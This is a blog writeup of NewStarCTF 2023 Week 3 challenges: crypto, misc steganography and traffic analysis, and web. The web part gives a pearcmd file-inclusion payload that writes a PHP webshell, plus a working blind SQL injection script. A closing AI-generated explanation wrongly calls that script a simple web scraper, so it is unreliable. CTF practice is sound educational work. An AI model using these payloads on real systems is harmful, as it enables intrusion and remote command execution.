NewStarCTF 2023 公开赛道 Week3

发布时间 2023-10-22 22:14:01作者: Fab1an

官方WP

https://shimo.im/docs/QPMRxzGktzsZnzhz/read
NewStarCTF 2023 Week3 官方WriteUp.html

Crypto

Rabin's RSA

参考博客:RSA攻击之Rabin密码体制_rsa rabin-CSDN博客
image.png
使用轩禹一把梭了
image.png

Misc

阳光开朗大男孩

image.png
image.png
社会主义核心价值观https://ctf.bugku.com/tool/cvecode解码得到keythis_password_is_s000_h4rd_p4sssw0rdddd注意后面三段才是key,前面的this_password_is_不是key,我搞错了,导致一晚上没解出来,这咋还是道英文题?
image.png
然后emoji-aes解密https://aghorler.github.io/emoji-aes/
image.png
image.png
flag{3m0ji_1s_s0000_1nt3rest1ng_0861aada1050}

大怨种

image.png
image.png
分离GIF后获得一个汉信码https://tuzim.net/hxdecode/,解码即可获得flag
image.png
image.png
flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}

2-分析

image.png
用wireShark打开之后,过滤Http,一个一个看,前50个就可以看到
用户名,漏洞页面,webshell文件,然后转md5,就是flag
best_admin_index.php_wh1t3g0d.php ---> 4069afd7089f7363198d899385ad688b
image.png
image.png
image.png

键盘侠

image.png
image.png
USB流量的键盘流量
使用B神脚本直接梭哈
USB.zip
245447ee3999d066e61f9ccf2471f53.png
把中间的什么upArrow去掉就是flag了

滴滴滴

image.png
DTMF拨号音识别,然后再steghide解密kali中steghide命令工具教程;7z命令详解;kali中base64命令详解-CSDN博客
2a90f6fe3d4a2eadf0b7a88c89892b2.png
05ff7c48c065dc6707533da4678338d.png
58631d08be01a69f6fc2d83acc52861.png
image.png
image.png
flag{1nf0rm4t10n_s3cur1ty_1s_a_g00d_j0b_94e0308b}

Web

Include ?

题目代码:

<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

关键代码段:
过滤了常用的文件包含协议
image.png
但是我们还可以用file协议查看

?file=file:///var/www/html/phpinfo

image.png
搜索flag,获得假flag,他让我们Check_register_argc_argv
image.png
这个配置项的配置是ON打开状态
image.png
参考资料:

  1. CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore
  2. https://cloud.tencent.com/developer/article/2204400?areaId=106001
  3. register_argc_argv与include to RCE的巧妙组合 - Longlone’s Blog

image.png
构造payload:
这里的小马用反引号执行命令

?file=/usr/local/lib/php/pearcmd&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+7.php

image.png
844415bd60a2e4a70d8ca048999ab6f.png

medium_sql

image.png
写脚本进sql盲注
注意:BUU防爬,把速度放慢一点

import requests
import time

url = "http://519ed4dc-2cc9-4a03-af80-836a736ae0ca.node4.buuoj.cn:81//?id=TMP0919'AND "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'Ascii(Substr((Select flag from here_is_flag),{i},1))>{mid}--+'
        r = requests.get(url + payload)
        if "points" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
    time.sleep(1)  # 暂停1秒,降低爬取速度

1471c3a2089b20a209f7cd32708c5e8.png

flag{6fe7bf3b-a5cc-4099-b2e9-d698cde3b0ce}

这段代码是一个Python脚本,用于爬取一个网页并获取其中的数据。
首先,导入了requests库,该库用于发送HTTP请求并获取响应。
然后,定义了一个URL变量,用于存储要爬取的网页地址。
接下来,初始化了一个空字符串result和一个计数器i。
进入一个无限循环,在每次迭代中:

  1. 计数器i递增1,表示尝试获取下一个字符。
  2. 设置一个范围head和tail,分别代表可能的ASCII码值的范围(这里设置为32到126)。
  3. 使用二分查找算法在范围内找到中间值mid。
  4. 构造一个payload字符串,其中包含当前计数器的值和中间ASCII码值。
  5. 发送GET请求到目标URL,并将payload附加到URL后。将响应保存在变量r中。
  6. 检查响应文本中是否包含"points"关键字,如果存在,则将搜索范围缩小为[mid+1, tail];否则,将搜索范围缩小为[head, mid]。
  7. 如果找到了目标字符(即head不等于32),将其添加到结果字符串result中。
  8. 如果未找到目标字符,跳出无限循环。
  9. 打印结果字符串。
  10. 为了降低爬取速度,添加了暂停1秒的语句(time.sleep(1))。

总体来说,该脚本通过二分查找的方式不断调整ASCII码值范围,逐步获取目标网页中的字符,并将其打印出来。
(内容由讯飞星火AI生成)